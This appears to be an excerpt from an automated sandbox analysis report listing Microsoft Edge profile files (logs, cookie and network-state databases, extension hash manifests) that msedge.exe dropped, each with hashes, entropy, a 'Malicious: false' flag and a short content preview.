SSDEEP:	6:HUb/FIq2PN723oH+Tcwt8NIFUt8YUoZmw+YUYvpPkwON723oH+Tcwt8+eLJ:m/OvVaYebpFUt8y/+K5OaYebqJ
MD5:	373D98088DFB1DBBB66399CE844B2877
SHA1:	EB9ED9305519CDA80787BE04C5569CEC06F8A4C5
SHA-256:	CC23A439F95FE9656E657382FE09CF0A28582DAE20948CE4F26A5D2B9721BCAF
SHA-512:	B00F3C3369A85DDF80F05C33B813874913010E3E4DF9D11294EE98763AEF43427B1858A540947A04A5EED2642CC9547E823EC356EE9DC49D3FF6C6ECB756D5DD
Malicious:	false
Preview:	2024/11/17-18:27:41.658 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-18:27:41.659 1e24 Recovering log #3.2024/11/17-18:27:41.660 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161690167977794
Encrypted:	false
SSDEEP:	6:HUb/FIq2PN723oH+Tcwt8NIFUt8YUoZmw+YUYvpPkwON723oH+Tcwt8+eLJ:m/OvVaYebpFUt8y/+K5OaYebqJ
MD5:	373D98088DFB1DBBB66399CE844B2877
SHA1:	EB9ED9305519CDA80787BE04C5569CEC06F8A4C5
SHA-256:	CC23A439F95FE9656E657382FE09CF0A28582DAE20948CE4F26A5D2B9721BCAF
SHA-512:	B00F3C3369A85DDF80F05C33B813874913010E3E4DF9D11294EE98763AEF43427B1858A540947A04A5EED2642CC9547E823EC356EE9DC49D3FF6C6ECB756D5DD
Malicious:	false
Preview:	2024/11/17-18:27:41.658 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-18:27:41.659 1e24 Recovering log #3.2024/11/17-18:27:41.660 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:XXZ7tFlljq7A/mhWJFuQ3yy7IOWUnzWdweytllrE9SFcTp4AGbNCV9RUIAn:HZw75fOgd0Xi99pEYu
MD5:	54AF9B1FBE66AA2A6D1D4282BEF3B8C2
SHA1:	56AD52EDE04EDC6E2EF747AEFEADFCF0D9914CCF
SHA-256:	5CCE77D0C64E7B8237FD05262132712717A6A1BF7FC91B5E97656B4E93AA0C62
SHA-512:	CD22D6E11AF7AF69DE690350B8F5BD6A12FB40389E5AB2E129C70811DA05934E286FF919E3FE2DBD2279B5AD6DC27FEAD5127165C924788CF9C50EF1CAE60B63
Malicious:	false
Preview:	.............2F...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480871529185457
Encrypted:	false
SSDEEP:	384:aj9P0QQjlkcgP/KbtZ773pLwgam6IYhfQkQerIRKToaAu:adylHgP/w7xoJe2IRKcC
MD5:	7889859F06376351B5C8455521C2652C
SHA1:	96949BBF5AD12F9D2791959355BF0DB26BABB7D9
SHA-256:	31024A305EB395E593133511AE516E7091B2DA4F0B5F93997E7510AA63EC2BF8
SHA-512:	88915BF9D917A3887634B16415230B1A1FAEFFCCD47B621389869BEC1EC0820EDABE78EC2016444D14BD3A390EC0D2EE17008574C05F582203CDAC03F7CD3C39
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.287260353063945
Encrypted:	false
SSDEEP:	12:uusvVaYeb8rcHEZrELFUt8Y/+A5OaYeb8rcHEZrEZSJ:uuWVaYeb8nZrExg8wOaYeb8nZrEZe
MD5:	44EA2D9CEC320C0BCD9BB53D151B3F55
SHA1:	9AFC8F9A9D5E569A54F516B81ADFF4487DBE7A51
SHA-256:	5EE1E6F0207C36F5E8FDBAB6B80FF2647BC200166A5AB5EC46A7CEB4993F64D3
SHA-512:	D3ACCA881E941754B4C99829B73A38675915C829B821B4213849E0D3479979E22965DAD94A7B2672E8D35EEBCC22EA6279221AFAB41B364D486DBB0FFD415001
Malicious:	false
Preview:	2024/11/17-18:27:45.849 1e38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-18:27:45.850 1e38 Recovering log #3.2024/11/17-18:27:45.850 1e38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.287260353063945
Encrypted:	false
SSDEEP:	12:uusvVaYeb8rcHEZrELFUt8Y/+A5OaYeb8rcHEZrEZSJ:uuWVaYeb8nZrExg8wOaYeb8nZrEZe
MD5:	44EA2D9CEC320C0BCD9BB53D151B3F55
SHA1:	9AFC8F9A9D5E569A54F516B81ADFF4487DBE7A51
SHA-256:	5EE1E6F0207C36F5E8FDBAB6B80FF2647BC200166A5AB5EC46A7CEB4993F64D3
SHA-512:	D3ACCA881E941754B4C99829B73A38675915C829B821B4213849E0D3479979E22965DAD94A7B2672E8D35EEBCC22EA6279221AFAB41B364D486DBB0FFD415001
Malicious:	false
Preview:	2024/11/17-18:27:45.849 1e38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-18:27:45.850 1e38 Recovering log #3.2024/11/17-18:27:45.850 1e38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	1469
Entropy (8bit):	5.674536216223128
Encrypted:	false
SSDEEP:	24:aRZWvUlHnYlYPvXxY66rXZ+WKiV03y1x4iMy1W9OHfhNKgFHHmQ5da2LoEJX:4ZW/YPvhY9rXZ9pV03Sx4By1VHHHxdai
MD5:	C761687F71E149377391F05961BB44E9
SHA1:	2EAC59AE974807F18F16003D177D9DB5225393C3
SHA-256:	637E0BD241A2C3B1FBF1AF41DB459ADA3412AD1F005F336FD57C3966B16184F1
SHA-512:	33817742942BC5936285CEE3F866CBD0534521FC882AF188F9D86D27AD817C5D548D4CDBF115BD2C2B5E0C1B1FB63F85C853C6CC36CF8BC6699A0276F81BFDFD
Malicious:	false
Preview:	...\|................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":698}.!_https://ntp.msn.com..LastKnownPV..1731886073285.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731886074969.._https://ntp.msn.com..MUID!.27290C15251A6C5C3AE6192F24BB6D0A.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731886073367,"schedule":[24,29,-1,-1,-1,-1,25],"scheduleFixed":[24,29,-1,-1,-1,-1,25],"simpleSchedule":[18,19,45,21,11,22,28]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731886073235.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.122087944092752
Encrypted:	false
SSDEEP:	6:HUD+L+q2PN723oH+Tcwt8a2jMGIFUt8YUC+qKWZmw+YUCfjLVkwON723oH+Tcwtw:Y+L+vVaYeb8EFUt8UMW/+U7LV5OaYebw
MD5:	5D83D1FBAADBABF98E163654C3FE85F9
SHA1:	686812994B137801996F03A212F5E8AA3120DB27
SHA-256:	7D07E56A5CBA503164ACE2A19FAF00E76908F1C33B3F8BAAA8C032567FB9E8DC
SHA-512:	08FAA76813E70A3DA46AB0405E8ABCCD99858C78088C1E72B06D52684B5DE54FDA87658E889B8BE286F0DD9CC323894674ACBCBB4B76311294A6D154C8E85C77
Malicious:	false
Preview:	2024/11/17-18:27:41.277 1ccc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-18:27:41.282 1ccc Recovering log #3.2024/11/17-18:27:41.286 1ccc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.122087944092752
Encrypted:	false
SSDEEP:	6:HUD+L+q2PN723oH+Tcwt8a2jMGIFUt8YUC+qKWZmw+YUCfjLVkwON723oH+Tcwtw:Y+L+vVaYeb8EFUt8UMW/+U7LV5OaYebw
MD5:	5D83D1FBAADBABF98E163654C3FE85F9
SHA1:	686812994B137801996F03A212F5E8AA3120DB27
SHA-256:	7D07E56A5CBA503164ACE2A19FAF00E76908F1C33B3F8BAAA8C032567FB9E8DC
SHA-512:	08FAA76813E70A3DA46AB0405E8ABCCD99858C78088C1E72B06D52684B5DE54FDA87658E889B8BE286F0DD9CC323894674ACBCBB4B76311294A6D154C8E85C77
Malicious:	false
Preview:	2024/11/17-18:27:41.277 1ccc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-18:27:41.282 1ccc Recovering log #3.2024/11/17-18:27:41.286 1ccc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\20757162-1a0d-4c62-8bc0-265ddcffba10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8904b362-22d4-4837-af60-e4f2e3679348.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\933c8d3d-799f-45d5-928b-10674160d8b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1747
Entropy (8bit):	5.310939687759343
Encrypted:	false
SSDEEP:	48:YcCpfgCzs4JtsSfc7RssleeIkEsRCgH5Yhbj:F2fpR2bkeIklTGh/
MD5:	5625B15C7BA5867CCE68C27B93FFD100
SHA1:	5BBA3C034D53397A11A3176DC8B809D9D49DBAC5
SHA-256:	5C635C8FB963A56C94A0CF5DD2FF9C3FEB6CED8543EC37484B69BC8BDD4E3FAD
SHA-512:	24A13FF1C5B209BFDC466F02AA06035121A4173105F33C33D9DAD9B9CC037B6B7224CC0287757CD8243B10B9EBBFEADA3F3238C9263A7F1B362A972CCCEE0F97
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378951663019338","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378951666985081","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9ade2158-cc7b-4a5f-94e3-22cdbbff736f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.766690784401927
Encrypted:	false
SSDEEP:	192:tTBXpk1aZmcbE1ChAt9rGfrkyjtXcf0L/ZJVb:VBW1aZpbE1Cq3GDXI0LhJVb
MD5:	655EB9C34A7B881DFB128C38694B7B3E
SHA1:	A2B4FFA87664281E9726498DC2E0B2E70A0FB2BE
SHA-256:	AF1A1F5E1701E6C7627B5BE8494D19E4F8B34EC90F773B8A32F908EFB7322D40
SHA-512:	8ECE576EFD7E66AD111078F3B0A16019BED930DBF053A39C646654D1E2080E29A0E94A5CFD1970EE86473CF522E51AF93439DF546641142B9DC5B12BD410FC83
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4e1b1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3774009503992173
Encrypted:	false
SSDEEP:	96:ifIEumQv8m1ccnvS6mv3+lGFh5AHPsaw1a:ifIEumQv8m1ccnvS6bKAvVr
MD5:	BD46155E943A3DF0321D1964CB34A13A
SHA1:	5F87D697EF4FE232D4CBC9C0D0DE0362BA34A7A6
SHA-256:	C0DECD43931418584CF00B8C6130D786879412C6163E7A43E009683EAA89FCCF
SHA-512:	254646773B236124278DF6126F9EA8C0832CDA98E9EEB49D3B6046281CE7BB4832979435EB4799CCC3F7000016B88787045A149A5A13E6DB3793B3EA9F5E3513
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d6d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3eb8a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c8b7154c-a2fe-4837-859f-70a56caa8a63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
